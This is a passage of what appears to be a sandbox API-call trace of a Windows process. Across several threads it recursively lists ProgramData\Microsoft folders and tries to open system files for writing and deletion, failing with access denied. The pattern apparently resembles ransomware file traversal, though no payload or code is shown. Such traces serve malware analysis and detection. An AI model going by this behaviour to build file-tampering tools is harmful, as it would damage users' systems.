	[0092.080] wcscat (in: _Dest=0x4f2c060, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\"
	[0092.080] wcscat (in: _Dest=0x4f2c060, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*"
	[0092.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0092.080] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.080] wcscmp (_String1=".", _String2=".") returned 0
	[0092.080] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.080] wcscmp (_String1="..", _String2=".") returned 1
	[0092.080] wcscmp (_String1="..", _String2="..") returned 0
	[0092.080] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0092.080] wcscmp (_String1="resource.xml", _String2=".") returned 1
	[0092.080] wcscmp (_String1="resource.xml", _String2="..") returned 1
	[0092.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12908
	[0092.080] wcscpy (in: _Dest=0x2e12908, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0092.080] wcscat (in: _Dest=0x2e12908, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\"
	[0092.080] wcscat (in: _Dest=0x2e12908, _Source="resource.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml"
	[0092.080] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml")) returned 0x20
	[0092.080] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0
	[0092.080] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.080] GetLastError () returned 0x5
	[0092.081] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0
	[0092.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12908) returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0092.081] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0092.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c060) returned 1
	[0092.081] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="folder.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="folder.ico", _String2="..") returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="print_pref.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="print_pref.ico", _String2="..") returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="print_property.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="print_property.ico", _String2="..") returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="print_queue.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="print_queue.ico", _String2="..") returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="scan_.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="scan_.ico", _String2="..") returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="scan_property.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="scan_property.ico", _String2="..") returned 1
	[0092.081] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
	[0092.081] wcscmp (_String1="scan_settings.ico", _String2=".") returned 1
	[0092.081] wcscmp (_String1="scan_settings.ico", _String2="..") returned 1
	[0092.082] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0092.082] wcscmp (_String1="tasks.xml", _String2=".") returned 1
	[0092.082] wcscmp (_String1="tasks.xml", _String2="..") returned 1
	[0092.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2ca20
	[0092.082] wcscpy (in: _Dest=0x4f2ca20, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0092.082] wcscat (in: _Dest=0x4f2ca20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\"
	[0092.082] wcscat (in: _Dest=0x4f2ca20, _Source="tasks.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"
	[0092.082] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml")) returned 0x20
	[0092.082] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", dwFileAttributes=0x20) returned 0
	[0092.082] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.082] GetLastError () returned 0x5
	[0092.082] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", dwFileAttributes=0x20) returned 0
	[0092.082] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2ca20) returned 1
	[0092.082] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0092.082] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0092.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5030308) returned 1
	[0092.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61790) returned 1
	[0092.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0092.083] FindNextFileW (in: hFindFile=0x477b4e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0092.083] FindClose (in: hFindFile=0x477b4e8 | out: hFindFile=0x477b4e8) returned 1
	[0092.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0092.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733730) returned 1
	[0092.083] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77cc0) returned 1
	[0092.083] FindNextFileW (in: hFindFile=0x2d87a78, lpFindFileData=0x2e15638 | out: lpFindFileData=0x2e15638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
	[0092.083] FindClose (in: hFindFile=0x2d87a78 | out: hFindFile=0x2d87a78) returned 1
	[0092.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e15638) returned 1
	[0092.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac4d0) returned 1
	[0092.084] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85c88) returned 1

Thread:
	id = 299
	os_tid = 0x1340

	[0076.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dac528
	[0076.830] wcscpy (in: _Dest=0x2dac528, _Source="C:\\ProgramData\\Microsoft\\DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync"
	[0076.830] wcscat (in: _Dest=0x2dac528, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\"
	[0076.830] wcscat (in: _Dest=0x2dac528, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\*"
	[0076.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e158a0
	[0076.830] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2e158a0 | out: lpFindFileData=0x2e158a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87a78
	[0080.011] wcscmp (_String1=".", _String2=".") returned 0
	[0080.012] FindNextFileW (in: hFindFile=0x2d87a78, lpFindFileData=0x2e158a0 | out: lpFindFileData=0x2e158a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.012] wcscmp (_String1="..", _String2=".") returned 1
	[0080.012] wcscmp (_String1="..", _String2="..") returned 0
	[0080.012] FindNextFileW (in: hFindFile=0x2d87a78, lpFindFileData=0x2e158a0 | out: lpFindFileData=0x2e158a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0080.012] FindClose (in: hFindFile=0x2d87a78 | out: hFindFile=0x2d87a78) returned 1
	[0080.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e158a0) returned 1
	[0080.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac528) returned 1
	[0080.012] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730d30) returned 1

Thread:
	id = 300
	os_tid = 0x1310

	[0076.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dac580
	[0076.831] wcscpy (in: _Dest=0x2dac580, _Source="C:\\ProgramData\\Microsoft\\Diagnosis" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0076.831] wcscat (in: _Dest=0x2dac580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0076.831] wcscat (in: _Dest=0x2dac580, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\*"
	[0076.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15d70
	[0076.831] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x2e15d70 | out: lpFindFileData=0x2e15d70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87ab8
	[0080.011] wcscmp (_String1=".", _String2=".") returned 0
	[0080.011] FindNextFileW (in: hFindFile=0x2d87ab8, lpFindFileData=0x2e15d70 | out: lpFindFileData=0x2e15d70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.011] wcscmp (_String1="..", _String2=".") returned 1
	[0080.011] wcscmp (_String1="..", _String2="..") returned 0
	[0080.011] FindNextFileW (in: hFindFile=0x2d87ab8, lpFindFileData=0x2e15d70 | out: lpFindFileData=0x2e15d70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1
	[0080.011] wcscmp (_String1="AsimovUploader", _String2=".") returned 1
	[0080.011] wcscmp (_String1="AsimovUploader", _String2="..") returned 1
	[0080.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ec810
	[0080.011] wcscpy (in: _Dest=0x47ec810, _Source="C:\\ProgramData\\Microsoft\\Diagnosis" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0080.011] wcscat (in: _Dest=0x47ec810, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0080.012] wcscat (in: _Dest=0x47ec810, _Source="AsimovUploader" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader"
	[0092.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ecd50
	[0092.036] wcscpy (in: _Dest=0x47ecd50, _Source="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader"
	[0092.036] wcscat (in: _Dest=0x47ecd50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\"
	[0092.036] wcscat (in: _Dest=0x47ecd50, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*"
	[0092.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502fbd0
	[0092.036] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b528
	[0092.036] wcscmp (_String1=".", _String2=".") returned 0
	[0092.036] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.036] wcscmp (_String1="..", _String2=".") returned 1
	[0092.036] wcscmp (_String1="..", _String2="..") returned 0
	[0092.036] FindNextFileW (in: hFindFile=0x477b528, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.036] FindClose (in: hFindFile=0x477b528 | out: hFindFile=0x477b528) returned 1
	[0092.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502fbd0) returned 1
	[0092.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecd50) returned 1
